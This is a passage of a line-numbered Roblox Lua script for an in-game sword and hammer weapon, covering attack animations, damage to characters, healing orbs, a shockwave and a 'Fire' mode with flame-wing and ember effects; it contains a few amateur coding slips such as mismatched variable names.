9084 | if C == 3 then | |
9085 | bp.P = bp.P + 10000 | |
9086 | bp.position = CF.p + CFrame.new(Torso.Position,CF.p).lookVector * 6 | |
9087 | bg.cframe = CFrame.new(Torso.Position,CF.p) * CFrame.Angles(math.rad(-45),0,0) | |
9088 | end | |
9089 | if C == 2 then | |
9090 | FirstP = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0) | |
9091 | elseif C == 5 then | |
9092 | LastP = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0) | |
9093 | end | |
9094 | end | |
9095 | local effectsmsh = Instance.new("SpecialMesh") | |
9096 | effectsmsh.Scale = Vector3.new(5,1,5) | |
9097 | effectsmsh.MeshType = "Sphere" | |
9098 | local effectsg = Instance.new("Part") | |
9099 | effectsg.formFactor = 3 | |
9100 | effectsg.CanCollide = false | |
9101 | effectsg.Name = "Eff" | |
9102 | effectsg.Locked = true | |
9103 | effectsg.Anchored = true | |
9104 | effectsg.Size = Vector3.new(0.2,1,0.2) | |
9105 | effectsg.Parent = swordholder | |
9106 | effectsmsh.Parent = effectsg | |
9107 | effectsg.BrickColor = BrickColor.new("White") | |
9108 | effectsg.Reflectance = Ref | |
9109 | local point1 = FirstP | |
9110 | local LP = LastP | |
9111 | local mg = (LP.p - point1.p).magnitude | |
9112 | effectsg.Size = Vector3.new(0.2,mg,0.2) | |
9113 | effectsg.CFrame = CFrame.new((LP.p+point1.p)/2,point1.p) * CFrame.Angles(math.rad(90),0,0) | |
9114 | if returnn then return effectsg end | |
9115 | coroutine.resume(coroutine.create(function() | |
9116 | if not returnn then | |
9117 | for i = 0 , 1 , 0.1 do | |
9118 | wait() | |
9119 | effectsg.Transparency = 1*i | |
9120 | end | |
9121 | wait() | |
9122 | effectsg.Parent = nil | |
9123 | end | |
9124 | end)) | |
9125 | local critrandomizer = math.random(1,crtrate) | |
9126 | local rndmdamage = 0 | |
9127 | if critrandomizer ~= 1 then | |
9128 | rndmdamage = math.random(mindamage,maxdamage) | |
9129 | damagesplat(rndmdamage,nrprsn.Head,false) | |
9130 | nrprsn.Humanoid:TakeDamage(rndmdamage) | |
9131 | elseif critrandomizer == 1 then | |
9132 | rndmdamage = math.random(maxdamage,crtmaxdamage) | |
9133 | damagesplat(rndmdamage,nrprsn.Head,true) | |
9134 | nrprsn.Humanoid:TakeDamage(rndmdamage) | |
9135 | end | |
9136 | local tempmod = Instance.new("Model",Workspace) | |
9137 | for l = 1 , rndmdamage/5 do | |
9138 | local meshz = Instance.new("SpecialMesh") | |
9139 | meshz.Scale = Vector3.new(1.5,1.5,1.5) | |
9140 | meshz.MeshType = "Sphere" | |
9141 | local shellz = Instance.new("Part") | |
9142 | meshz.Parent = shellz | |
9143 | shellz.Anchored = false | |
9144 | shellz.formFactor = 0 | |
9145 | shellz.Size = Vector3.new(1,1,1) | |
9146 | shellz.CFrame = hitbox.CFrame | |
9147 | shellz.Parent = tempmod | |
9148 | shellz.Transparency = 0.5 | |
9149 | shellz.BrickColor = BrickColor.new("White") | |
9150 | shellz.CanCollide = false | |
9151 | shellz.Reflectance = 0 | |
9152 | local bv = Instance.new("BodyPosition") | |
9153 | bv.Parent = shellz | |
9154 | bv.maxForce = Vector3.new(math.huge,math.huge,math.huge) | |
9155 | bv.P = bv.P + 10000 | |
9156 | bv.position = shellz.Position + Vector3.new(math.random(-25,25),math.random(-2.5,7.5),math.random(-25,25)) | |
9157 | coroutine.resume(coroutine.create(function() | |
9158 | wait(3) | |
9159 | bv.maxForce = Vector3.new(0,math.huge,0) | |
9160 | coroutine.resume(coroutine.create(function() | |
9161 | local dd = false | |
9162 | while shellz.Transparency ~= 1 and not dd do | |
9163 | wait(0.1) | |
9164 | local cc = game.Workspace:GetChildren(); | |
9165 | for i = 1, #c do | |
9166 | local hum = cc[i]:findFirstChild("Humanoid") | |
9167 | if hum ~= nil and hum.Health ~= 0 then | |
9168 | local head = cc[i]:findFirstChild("Head"); | |
9169 | if head ~= nil then | |
9170 | local targ = head.Position - shellz.Position; | |
9171 | local mag = targ.magnitude; | |
9172 | if mag <= 5 then | |
9173 | dd = true | |
9174 | damagesplat(5+darkboost,head,false) | |
9175 | hum.Health = hum.Health + 5 + darkboost | |
9176 | for i = 0 , 1 , 0.05 do | |
9177 | wait() | |
9178 | shellz.Transparency = 1*i | |
9179 | end | |
9180 | shellz.Parent = nil | |
9181 | end | |
9182 | end | |
9183 | end | |
9184 | end | |
9185 | end | |
9186 | end)) | |
9187 | ||
9188 | end)) | |
9189 | local hx = false | |
9190 | coroutine.resume(coroutine.create(function() | |
9191 | for i = 0 , 1 , 0.05 do | |
9192 | wait() | |
9193 | shellz.Transparency = 1-1*i | |
9194 | end | |
9195 | shellz.Transparency = 0 | |
9196 | end)) | |
9197 | coroutine.resume(coroutine.create(function() | |
9198 | wait(60) | |
9199 | for ii,shellz in pairs(tempmod:GetChildren()) do | |
9200 | for i = 0 , 1 , 0.1 do | |
9201 | wait() | |
9202 | shellz.Transparency = 1*i | |
9203 | end | |
9204 | shellz.Parent = nil | |
9205 | end | |
9206 | tempmod.Parent = nil | |
9207 | end)) | |
9208 | end | |
9209 | wait(0.5) | |
9210 | ---- | |
9211 | RW.C0 = CFrame.new(1,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80), math.rad(45), math.rad(-45)) | |
9212 | RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0)) | |
9213 | LW.C0 = CFrame.new(-1,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80),math.rad(-45),math.rad(45)) | |
9214 | LW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0)) | |
9215 | w1.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0,0) | |
9216 | w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(0), math.rad(90)) * CFrame.new(0, 0, 0.2) | |
9217 | attack=false | |
9218 | bp.Parent = nil bg.Parent = nil | |
9219 | end | |
9220 | ||
9221 | ||
9222 | --TEST | |
9223 | ||
9224 | hammer = Torso | |
9225 | ||
9226 | function doDamage(hit) | |
9227 | local humanoid = hit.Parent:findFirstChild("Humanoid") | |
9228 | local hum = Player.Character:findFirstChild("Humanoid") -- non-nil if tool held by a character | |
9229 | if humanoid~=nil and humanoid ~= hum and hum ~= nil then | |
9230 | local foundd = false | |
9231 | for ii = 1 , #AoETrue do | |
9232 | if AoETrue[ii] == hit.Parent.Name then | |
9233 | foundd = true | |
9234 | end | |
9235 | end | |
9236 | if foundd then | |
9237 | end | |
9238 | -- | |
9239 | if not foundd then | |
9240 | humanoid:TakeDamage(5) | |
9241 | if Mode == "Fire" then | |
9242 | end | |
9243 | damagesplat(5,humanoid.Parent.Torso,false) | |
9244 | table.insert(AoETrue,hit.Parent) | |
9245 | end | |
9246 | ||
9247 | if humanoid.Health <= 0 then | |
9248 | local c = hit.CFrame | |
9249 | hit.CFrame = CFrame.new(hit.Position) | |
9250 | hit.CFrame = c | |
9251 | end | |
9252 | delay(1, function() end) | |
9253 | else | |
9254 | local c = hit.CFrame hit.CFrame = CFrame.new(hit.Position) hit.CFrame = c | |
9255 | end | |
9256 | end | |
9257 | function bewm(obj, pos, notme) | |
9258 | if (obj ~= notme) then | |
9259 | if (obj.className == "Part") or (obj.className == "Seat") then | |
9260 | if (not obj.Anchored) and (((pos - obj.Position) * Vector3.new(1, 0, 1)).magnitude < 24) and (pos.y <= obj.Position.y + 2) and (pos.y >= obj.Position.y - 2) then | |
9261 | delay((pos - obj.Position).magnitude / 24, function() obj.Velocity = ((obj.Position - pos).unit + Vector3.new(0, 0.5, 0)) * 96 + obj.Velocity obj.RotVelocity = obj.RotVelocity + Vector3.new(obj.Position.z - pos.z, 0, pos.x - obj.Position.x).unit * 40 doDamage(obj) end) | |
9262 | end | |
9263 | elseif (obj.className == "Model") or (obj.className == "Hat") or (obj.className == "Tool") or (obj == workspace) then | |
9264 | local list = obj:GetChildren() | |
9265 | for x = 1, #list do | |
9266 | bewm(list[x], pos, notme) | |
9267 | end | |
9268 | end | |
9269 | end | |
9270 | end | |
9271 | ||
9272 | function attackr() | |
9273 | local shockRing = Instance.new("Part") | |
9274 | shockRing.formFactor = 2 | |
9275 | shockRing.Size = Vector3.new(1, 0.4, 1) | |
9276 | shockRing.Anchored = true | |
9277 | shockRing.Locked = true | |
9278 | shockRing.CanCollide = false | |
9279 | shockRing.archivable = false | |
9280 | shockRing.TopSurface = 0 | |
9281 | shockRing.BottomSurface = 0 | |
9282 | shockRing.Transparency = 0 | |
9283 | if Mode == "Fire" then | |
9284 | shockRing.BrickColor = BrickColor.new("Really red") | |
9285 | elseif Mode == "Dark" then | |
9286 | shockRing.BrickColor = BrickColor.new("Bright violet") | |
9287 | elseif Mode == "Ice" then | |
9288 | shockRing.BrickColor = BrickColor.new("Bright blue") | |
9289 | shockRing.Reflectance = 0.2 | |
9290 | end | |
9291 | local decal = Instance.new("CylinderMesh") | |
9292 | decal.Parent = shockRing | |
9293 | decal.Scale = Vector3.new(1,0.1,1) | |
9294 | wait(0.2) | |
9295 | local pos = hammer.CFrame * (Vector3.new(0, -2.5, 0)) | |
9296 | bewm(game.Workspace, pos, Player.Character) | |
9297 | shockRing.CFrame = CFrame.new(pos) | |
9298 | for x = 0, 1 , 0.0625 do | |
9299 | delay((x*16) / 30, function() shockRing.Parent = nil shockRing.Size = Vector3.new(0, 0.4, 0) + Vector3.new(3.2, 0, 3.2) * (x*16) shockRing.Transparency = 1*x shockRing.Parent = Player.Character end) | |
9300 | end | |
9301 | delay(1, function() | |
9302 | shockRing.Parent = nil | |
9303 | for ii = 1 , #AoETrue do | |
9304 | table.remove(AoETrue,#AoETrue) | |
9305 | end end) | |
9306 | end | |
9307 | local modemodel = Instance.new("Model",swordholder) | |
9308 | local mrdychng = false | |
9309 | function FireMode() | |
9310 | attack=true | |
9311 | Mode = "Fire" | |
9312 | fireboost = 5 | |
9313 | mrdychng = true | |
9314 | for i = 0 , 1 , 0.1 do | |
9315 | wait() | |
9316 | RW.C0 = CFrame.new(1+0.5*i,0.5+1*i,-0.5+0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(80+55*i), math.rad(45-45*i), math.rad(-45+45*i)) | |
9317 | RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0)) | |
9318 | LW.C0 = CFrame.new(-1+1*i,0.5+1*i,-0.5-0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(80-80*i),math.rad(-45+45*i),math.rad(45+65*i)) | |
9319 | w1.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0,0) | |
9320 | w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(180*i), math.rad(90)) * CFrame.new(0, 0, 0.2) | |
9321 | end | |
9322 | cs(Head,1.5) | |
9323 | local tempmod = Instance.new("Model",swordholder) | |
9324 | for l = 1 , 20 do | |
9325 | local meshz = Instance.new("SpecialMesh") | |
9326 | meshz.Scale = Vector3.new(0.5,0.5,0.5) | |
9327 | meshz.MeshType = "Sphere" | |
9328 | local shellz = Instance.new("Part") | |
9329 | meshz.Parent = shellz | |
9330 | shellz.Anchored = false | |
9331 | shellz.formFactor = 0 | |
9332 | shellz.Size = Vector3.new(1,1,1) | |
9333 | shellz.CFrame = hitbox.CFrame * CFrame.new(math.random(-5,5),math.random(-5,5),math.random(-5,5)) | |
9334 | shellz.Parent = tempmod | |
9335 | shellz.Transparency = 0.5 | |
9336 | shellz.BrickColor = BrickColor.new("Really red") | |
9337 | shellz.CanCollide = false | |
9338 | shellz.Reflectance = 0 | |
9339 | local bv = Instance.new("BodyPosition") | |
9340 | bv.Parent = shellz | |
9341 | bv.maxForce = Vector3.new(200000,200000,200000) | |
9342 | bv.position = shellz.Position | |
9343 | coroutine.resume(coroutine.create(function() | |
9344 | for i = 0 , 1 , 0.025 do | |
9345 | wait() | |
9346 | shellz.Transparency = 1-1*i | |
9347 | end | |
9348 | shellz.Transparency = 0 | |
9349 | end)) | |
9350 | coroutine.resume(coroutine.create(function() | |
9351 | wait(0.05) | |
9352 | bv.position = hitbox.Position | |
9353 | for i = 1 , 20 do | |
9354 | wait(0.1) | |
9355 | bv.position = shell.Position | |
9356 | end | |
9357 | shellz.Parent = nil | |
9358 | end)) | |
9359 | wait(0.01) | |
9360 | end | |
9361 | coroutine.resume(coroutine.create(function () | |
9362 | wait(0.25) | |
9363 | tempmod.Parent = nil | |
9364 | end)) | |
9365 | for i = 0 , 1 , 0.2 do | |
9366 | wait() | |
9367 | RW.C0 = CFrame.new(1.5,1.5-1*i,0) * CFrame.fromEulerAnglesXYZ(math.rad(135-45*i), math.rad(0), math.rad(0)) | |
9368 | RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0)) | |
9369 | LW.C0 = CFrame.new(0,1.5-1*i,-1) * CFrame.fromEulerAnglesXYZ(math.rad(0),math.rad(0),math.rad(110-45*i)) | |
9370 | w1.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0,0) | |
9371 | w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(180), math.rad(90)) * CFrame.new(0, 0, 0.2) | |
9372 | end | |
9373 | bs(Head,0.75) | |
9374 | attackr() | |
9375 | for zz = 1 , 1 do | |
9376 | local mesh = Instance.new("SpecialMesh") | |
9377 | mesh.MeshType = "FileMesh" | |
9378 | mesh.MeshId = "http://www.roblox.com/asset/?id=20329976" | |
9379 | mesh.Scale = Vector3.new(10,5,10) * Vector3.new(0.01,0.01,0.01) | |
9380 | local shell = Instance.new("Part") | |
9381 | mesh.Parent = shell | |
9382 | shell.Anchored = true | |
9383 | shell.formFactor = 1 | |
9384 | shell.Size = Vector3.new(1,1,1) | |
9385 | shell.CFrame = Torso.CFrame * CFrame.new(0,-1.5,0) | |
9386 | shell.Parent = swordholder | |
9387 | shell.Transparency = 0 | |
9388 | shell.BrickColor = BrickColor.new("Really red") | |
9389 | shell.CanCollide = false | |
9390 | coroutine.resume(coroutine.create(function() | |
9391 | for i = 0 , 1 , 0.075 do | |
9392 | wait() | |
9393 | mesh.Scale = Vector3.new(20,5,20) * Vector3.new(i,1,i) | |
9394 | shell.Transparency = 1*i | |
9395 | end | |
9396 | shell.Transparency = 1 | |
9397 | shell.Parent = nil | |
9398 | end)) | |
9399 | end | |
9400 | for zz = 1 , 1 do | |
9401 | local mesh = Instance.new("SpecialMesh") | |
9402 | mesh.MeshType = "FileMesh" | |
9403 | mesh.MeshId = "http://www.roblox.com/asset/?id=20329976" | |
9404 | mesh.Scale = Vector3.new(10,20,10) * Vector3.new(0.01,0.01,0.01) | |
9405 | local shell = Instance.new("Part") | |
9406 | mesh.Parent = shell | |
9407 | shell.Anchored = true | |
9408 | shell.formFactor = 1 | |
9409 | shell.Size = Vector3.new(1,1,1) | |
9410 | shell.CFrame = Torso.CFrame * CFrame.new(0,1,0) | |
9411 | shell.Parent = swordholder | |
9412 | shell.Transparency = 0 | |
9413 | shell.BrickColor = BrickColor.new("Really red") | |
9414 | shell.CanCollide = false | |
9415 | coroutine.resume(coroutine.create(function() | |
9416 | for i = 0 , 1 , 0.05 do | |
9417 | wait() | |
9418 | mesh.Scale = Vector3.new(10,20,10) * Vector3.new(i,1,i) | |
9419 | shell.Transparency = 1*i | |
9420 | end | |
9421 | shell.Transparency = 1 | |
9422 | shell.Parent = nil | |
9423 | end)) | |
9424 | end | |
9425 | for zz = 1 , 3 do | |
9426 | local mesh = Instance.new("SpecialMesh") | |
9427 | mesh.MeshType = "Sphere" | |
9428 | mesh.Scale = Vector3.new(5*zz,5*zz,5*zz) * Vector3.new(0.01,0.01,0.01) | |
9429 | local shell = Instance.new("Part") | |
9430 | mesh.Parent = shell | |
9431 | shell.Anchored = true | |
9432 | shell.formFactor = 3 | |
9433 | shell.Size = Vector3.new(1,1,1) | |
9434 | shell.CFrame = Torso.CFrame * CFrame.new(0,-1,0) | |
9435 | shell.Parent = swordholder | |
9436 | shell.Transparency = 0 | |
9437 | if math.fmod(zz,2) == 1 then | |
9438 | shell.BrickColor = BrickColor.new("Bright orange") | |
9439 | elseif math.fmod(zz,2) == 0.5 then | |
9440 | shell.BrickColor = BrickColor.new("Bright red") | |
9441 | else | |
9442 | shell.BrickColor = BrickColor.new("Bright yellow") | |
9443 | end | |
9444 | shell.CanCollide = false | |
9445 | coroutine.resume(coroutine.create(function() | |
9446 | for i = 0 , 1 , 0.025 do | |
9447 | wait() | |
9448 | mesh.Scale = Vector3.new(10*zz,10*zz,10*zz) * Vector3.new(i,i,i) | |
9449 | shell.Transparency = 1*i | |
9450 | end | |
9451 | shell.Transparency = 1 | |
9452 | shell.Parent = nil | |
9453 | end)) | |
9454 | end | |
9455 | ||
9456 | ||
9457 | for ii,z in pairs(modemodel:GetChildren()) do | |
9458 | z.Parent = nil | |
9459 | end | |
9460 | ||
9461 | local wing1m = Instance.new("BlockMesh") | |
9462 | wing1m.Scale = Vector3.new(1,1,1) | |
9463 | local wing1p = Instance.new("Part") | |
9464 | wing1p.formFactor = 3 | |
9465 | wing1p.CanCollide = false | |
9466 | wing1p.Name = "FlameWingP1" | |
9467 | wing1p.Locked = true | |
9468 | wing1p.Size = Vector3.new(0.2,0.2,0.2) | |
9469 | wing1p.Parent = modemodel | |
9470 | wing1m.Parent = wing1p | |
9471 | wing1p.BrickColor = BrickColor.new("Bright red") | |
9472 | wing1p.Transparency = 1 | |
9473 | local wing1w = Instance.new("Weld") | |
9474 | wing1w.Parent = wing1p | |
9475 | wing1w.Part0 = wing1p | |
9476 | wing1w.Part1 = Torso | |
9477 | wing1w.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0 , 0) | |
9478 | wing1w.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0), 0,math.rad(0)) * CFrame.new(-1, 0, 0) | |
9479 | local wing2m = Instance.new("BlockMesh") | |
9480 | wing2m.Scale = Vector3.new(1,1,1) | |
9481 | local wing2p = Instance.new("Part") | |
9482 | wing2p.formFactor = 3 | |
9483 | wing2p.CanCollide = false | |
9484 | wing2p.Name = "FlameWingP2" | |
9485 | wing2p.Locked = true | |
9486 | wing2p.Size = Vector3.new(0.2,0.2,0.2) | |
9487 | wing2p.Parent = modemodel | |
9488 | wing2m.Parent = wing2p | |
9489 | wing2p.BrickColor = BrickColor.new("Bright red") | |
9490 | wing2p.Transparency = 1 | |
9491 | local wing2w = Instance.new("Weld") | |
9492 | wing2w.Parent = wing2p | |
9493 | wing2w.Part0 = wing2p | |
9494 | wing2w.Part1 = Torso | |
9495 | wing2w.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0 , 0) | |
9496 | wing2w.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0), 0,math.rad(0)) * CFrame.new(1, 0, 0) | |
9497 | coroutine.resume(coroutine.create(function() | |
9498 | for ringi = math.rad(-20) , math.rad(130) , math.rad(10) do | |
9499 | wait(0.1) | |
9500 | local ringm = Instance.new("BlockMesh") | |
9501 | ringm.Scale = Vector3.new(1,1,1) | |
9502 | local ringp = Instance.new("Part") | |
9503 | ringp.formFactor = 3 | |
9504 | ringp.CanCollide = false | |
9505 | ringp.Name = "FlameWing"..ringi | |
9506 | ringp.Locked = true | |
9507 | ringp.Size = Vector3.new(0.2,2,0.8) | |
9508 | ringp.Parent = modemodel | |
9509 | ringm.Parent = ringp | |
9510 | ringp.BrickColor = BrickColor.new("Bright red") | |
9511 | ringp.Reflectance = 0.1 | |
9512 | ringp.Transparency = 1 | |
9513 | local ringw = Instance.new("Weld") | |
9514 | ringw.Parent = ringp | |
9515 | ringw.Part0 = ringp | |
9516 | ringw.Part1 = wing1p | |
9517 | ringw.C1 = CFrame.fromEulerAnglesXYZ(ringi, 0, 0) * CFrame.new(0, ringp.Size.y/4 , 0) | |
9518 | ringw.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0), 0,math.rad(45)) * CFrame.new(0, -1, 0) --* CFrame.new(-0.6, 0, 0) ---msh5.Scale.x/1.625 | |
9519 | coroutine.resume(coroutine.create(function() | |
9520 | for i = 0 , 1 , 0.025 do | |
9521 | wait() | |
9522 | ringp.Transparency = 1-1*i | |
9523 | end | |
9524 | ringp.Transparency = 0 | |
9525 | end)) | |
9526 | end end)) | |
9527 | coroutine.resume(coroutine.create(function() | |
9528 | for ringi = math.rad(-20) , math.rad(130) , math.rad(10) do | |
9529 | wait(0.1) | |
9530 | local ringm = Instance.new("BlockMesh") | |
9531 | ringm.Scale = Vector3.new(1,1,1) | |
9532 | local ringp = Instance.new("Part") | |
9533 | ringp.formFactor = 3 | |
9534 | ringp.CanCollide = false | |
9535 | ringp.Name = "FlameWing2_"..ringi | |
9536 | ringp.Locked = true | |
9537 | ringp.Size = Vector3.new(0.2,2,0.8) | |
9538 | ringp.Parent = modemodel | |
9539 | ringm.Parent = ringp | |
9540 | ringp.BrickColor = BrickColor.new("Bright red") | |
9541 | ringp.Reflectance = 0.1 | |
9542 | ringp.Transparency = 1 | |
9543 | local ringw = Instance.new("Weld") | |
9544 | ringw.Parent = ringp | |
9545 | ringw.Part0 = ringp | |
9546 | ringw.Part1 = wing2p | |
9547 | ringw.C1 = CFrame.fromEulerAnglesXYZ(ringi+math.rad(0), 0, 0) * CFrame.new(-0, ringp.Size.y/4 , 0) | |
9548 | ringw.C0 = CFrame.fromEulerAnglesXYZ(0, 0,math.rad(-45)) * CFrame.new(-0, -1, 0) | |
9549 | coroutine.resume(coroutine.create(function() | |
9550 | for i = 0 , 1 , 0.025 do | |
9551 | wait() | |
9552 | ringp.Transparency = 1-1*i | |
9553 | end | |
9554 | ringp.Transparency = 0 | |
9555 | end)) | |
9556 | end end)) | |
9557 | local wingp1m = Instance.new("SpecialMesh") | |
9558 | wingp1m.Scale = Vector3.new(1,1,1) | |
9559 | wingp1m.MeshType = "Sphere" | |
9560 | local wingp1p = Instance.new("Part") | |
9561 | wingp1p.formFactor = 3 | |
9562 | wingp1p.CanCollide = false | |
9563 | wingp1p.Name = "FlameOrb" | |
9564 | wingp1p.Locked = true | |
9565 | wingp1p.Size = Vector3.new(1,1,1) | |
9566 | wingp1p.Parent = modemodel | |
9567 | wingp1m.Parent = wingp1p | |
9568 | wingp1p.Reflectance = 0.2 | |
9569 | wingp1p.BrickColor = BrickColor.new("Bright red") | |
9570 | local wingp1w = Instance.new("Weld") | |
9571 | wingp1w.Parent = wingp1p | |
9572 | wingp1w.Part0 = wingp1p | |
9573 | wingp1w.Part1 = Torso | |
9574 | wingp1w.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0 , 0) | |
9575 | wingp1w.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0), 0,math.rad(0)) * CFrame.new(0, -0.5, 0.5) | |
9576 | coroutine.resume(coroutine.create(function() | |
9577 | for i = 0 , 1 , 0.025 do | |
9578 | wait() | |
9579 | wingp1p.Transparency = 1-1*i | |
9580 | end | |
9581 | wingp1p.Transparency = 0 | |
9582 | end)) | |
9583 | local Firee = modemodel | |
9584 | local Spawn = wingp1p | |
9585 | local colors = {BrickColor.new("Bright red"),BrickColor.new("Bright yellow"),BrickColor.new("Bright orange")} | |
9586 | local Embers = {} | |
9587 | local modelz = Instance.new("Model",Firee) | |
9588 | modelz.Name = "FireHolder" | |
9589 | for X = 1, 15 do | |
9590 | local f = Instance.new("Part") | |
9591 | f.Parent = nil | |
9592 | f.BrickColor = colors[math.random(1, # colors)] | |
9593 | f.Size = Vector3.new(1,1,1) | |
9594 | f.formFactor = 3 | |
9595 | f.Anchored = true | |
9596 | f.Locked = true | |
9597 | f.CanCollide = false | |
9598 | f.Transparency = 0.5 | |
9599 | f.Name = "Fire" | |
9600 | f.TopSurface = 0 | |
9601 | f.BottomSurface = 0 | |
9602 | Instance.new("BlockMesh",f) | |
9603 | table.insert(Embers, f) | |
9604 | end | |
9605 | local R = 0 | |
9606 | coroutine.resume(coroutine.create(function () | |
9607 | repeat | |
9608 | wait() | |
9609 | R = R + 1 | |
9610 | for X = 1, # Embers do | |
9611 | Embers[X].Parent = modelz | |
9612 | local FM = math.fmod(R + X, # Embers) | |
9613 | if FM == 1 then | |
9614 | RandPos = Vector3.new(math.random(-Spawn.Size.x * 5, Spawn.Size.x * 5) / 10, Spawn.Size.y / 2, math.random(-Spawn.Size.x * 5, Spawn.Size.x * 5) / 10) | |
9615 | RandDir = Vector3.new(math.random(-100,100), math.random(-100,100), math.random(-100,100)) | |
9616 | Embers[X].CFrame = CFrame.new(Spawn.Position + RandPos, (Spawn.Position * rndm) + RandPos + RandDir) | |
9617 | Embers[X].Mesh.Scale = Vector3.new(1,1,1) | |
9618 | else | |
9619 | Embers[X].CFrame = Embers[X].CFrame + Embers[X].CFrame.lookVector*0.5 | |
9620 | Embers[X].Mesh.Scale = Embers[X].Mesh.Scale - Vector3.new(0.1,0.1,0.1) | |
9621 | end | |
9622 | end | |
9623 | until wingp1p.Parent == nil | |
9624 | for i = 0 ,1 , 0.1 do | |
9625 | wait(0.2) | |
9626 | for X = 1, # Embers do | |
9627 | Embers[X].Transparency = 0.5+0.5*i | |
9628 | end | |
9629 | end | |
9630 | for X = 1, # Embers do | |
9631 | Embers[X].Parent = nil | |
9632 | end | |
9633 | end)) | |
9634 | for ii = 1 , #AoETrue do | |
9635 | table.remove(AoETrue,#AoETrue) | |
9636 | end | |
9637 | wait(0.25) | |
9638 | for i = 0 , 1 , 0.1 do | |
9639 | wait() | |
9640 | RW.C0 = CFrame.new(1.5,0.5+0.5*i,0) * CFrame.fromEulerAnglesXYZ(math.rad(90+25*i), math.rad(0), math.rad(0)) | |
9641 | RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0)) | |
9642 | LW.C0 = CFrame.new(0,0.5+0.5*i,-1) * CFrame.fromEulerAnglesXYZ(math.rad(0),math.rad(0),math.rad(65+25*i)) | |
9643 | w1.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0,0) | |
9644 | w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(180), math.rad(90)) * CFrame.new(0, 0, 0.2) | |
9645 | end | |
9646 | for i = 0 , 1 , 0.1 do | |
9647 | wait() | |
9648 | RW.C0 = CFrame.new(1.5,1-0.5*i,-0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(115-35*i), math.rad(45*i), math.rad(-45*i)) | |
9649 | RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0)) | |
9650 | LW.C0 = CFrame.new(-1*i,1-0.5*i,-1+0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(80*i),math.rad(0),math.rad(90-45*i)) | |
9651 | w1.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0,0) | |
9652 | w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(180-180*i), math.rad(90)) * CFrame.new(0, 0, 0.2) | |
9653 | end | |
9654 | RW.C0 = CFrame.new(1,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80), math.rad(45), math.rad(-45)) | |
9655 | RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0)) | |
9656 | LW.C0 = CFrame.new(-1,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80),math.rad(-45),math.rad(45)) | |
9657 | w1.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0,0) | |
9658 | w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(0), math.rad(90)) * CFrame.new(0, 0, 0.2) | |
9659 | attack=false | |
9660 | wait(1.5) | |
9661 | mrdychng = false | |
9662 | end | |
9663 | function NeutralMode() | |
9664 | attack=true | |
9665 | Mode = "None" | |
9666 | fireboost = 0 | |
9667 | iceboost = 0 | |
9668 | darkboost = 0 | |
9669 | ss(Head,1) | |
9670 | cs(Head,2) | |
9671 | mrdychng = true | |
9672 | for i = 0 , 1 , 0.2 do | |
9673 | wait() | |
9674 | RW.C0 = CFrame.new(1+0.5*i,0.5,-0.5+0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(80+10*i), math.rad(45), math.rad(-45+45*i)) | |
9675 | RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(100*i), math.rad(0), math.rad(0)) | |
9676 | LW.C0 = CFrame.new(-1-0.5*i,0.5,-0.5+0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(80+10*i),math.rad(-45),math.rad(45-45*i)) | |
9677 | LW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(100*i), math.rad(0), math.rad(0)) | |
9678 | w1.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0,0) | |
9679 | w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(70*i), math.rad(90)) * CFrame.new(0, 0, 0.2) | |
9680 | end | |
9681 | coroutine.resume(coroutine.create(function() | |
9682 | for ii,z in pairs(modemodel:GetChildren()) do | |
9683 | if string.sub(z.Name,0,string.len(z.Name)-1) ~= "FlameWingP" then | |
9684 | wait() | |
9685 | coroutine.resume(coroutine.create(function() | |
